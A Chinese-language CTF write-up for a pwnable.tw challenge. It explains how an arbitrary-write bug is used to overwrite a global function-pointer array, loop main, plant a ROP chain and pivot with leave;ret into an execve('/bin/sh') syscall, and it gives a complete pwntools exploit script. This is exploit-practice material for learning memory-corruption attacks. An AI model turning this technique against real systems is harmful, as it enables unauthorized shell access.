分析程序
- 程序功能:任意地址写
0x402960
处会调用以全局数组存放的地址的函数,此处可以控制程序的执行流。我们先把此处数组中地址改为main函数的地址,以此死循环不断执行main函数,以便构造ROP。
经过调试可知,这个数组的地址为0x4b40f0
text:0000000000402988 loc_402988: ; CODE XREF: vlun+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
当我们写入完ROP后,再修改地址为leave_ret,就可以控制执行流到esp+0x10,即0x4b4100
的地方了。即可执行ROP流
构造ROP
ROPchain=[p64(pop_rdi),p64(bin_sh_addr),p64(pop_rax),p64(0x3b),p64(pop_rdx_rsi),p64(0),p64(0),p64(syscall_addr)]
满足条件:
rax=0x3b
rdx=0
rsi=0
rdi= /bin/sh addr
然后利用syscall
即可(随便找一个read或者write中,就有syscall的封装调用)
EXP
from pwn import *
#p=process('./3')
p=remote('chall.pwnable.tw',10105)
called_vuln_addr=0x402960
called_array_addr=0x4b40f0
main_addr=0x401b6d
#ROPgadget --binary 3 --only "pop|ret"|
pop_rdi=0x401696 #pop rdi ; ret
pop_rax=0x41e4af
pop_rdx_rsi=0x44a309
bin_sh_addr=0x4b4140
syscall_addr=0x446e2c
leave_ret_addr=0x401c4b #ROPgadget --binary 3 |grep leave
esp=0x4b4100
# use called_vuln_addr to return to main
p.recv()
p.sendline(str(called_array_addr))
p.recv()
p.send(p64(called_vuln_addr)+p64(main_addr))
#p.interactive()
def write(content):#write 8B each time on ESP stack
global esp
p.sendlineafter("addr:",str(esp))
p.sendlineafter("data:",str(content))
log.success(hex(esp)+': '+str(content))
esp+=8
ROPchain=[p64(pop_rdi),p64(bin_sh_addr),p64(pop_rax),p64(0x3b),p64(pop_rdx_rsi),p64(0),p64(0),p64(syscall_addr)]
for i in range(len(ROPchain)):
write(ROPchain[i])
write("/bin/sh\x00")
#ret to TOP
p.sendlineafter("addr:",str(called_array_addr))
p.sendafter("data:",p64(leave_ret_addr))
p.interactive()
注意点
小坑:最后写/bin/sh字符串的时候一定要加上\x00
,来截断字符串,不然无法成功执行。即"/bin/sh\x00"